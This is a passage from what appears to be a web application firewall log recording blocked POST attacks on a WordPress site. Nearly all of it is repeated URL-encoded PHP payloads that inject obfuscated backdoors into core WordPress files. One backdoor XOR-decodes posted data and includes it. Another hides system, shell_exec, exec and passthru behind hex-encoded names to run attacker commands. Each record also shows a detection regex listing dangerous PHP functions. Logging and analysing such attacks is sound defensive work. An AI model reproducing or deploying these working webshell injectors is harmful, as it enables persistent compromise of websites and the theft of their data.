2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:13","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Kn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF24vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\ncontent-length:3852\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nKn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:22","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\ncontent-length:3875\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:42:32","190.92.169.79","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:6508\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nCM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_reso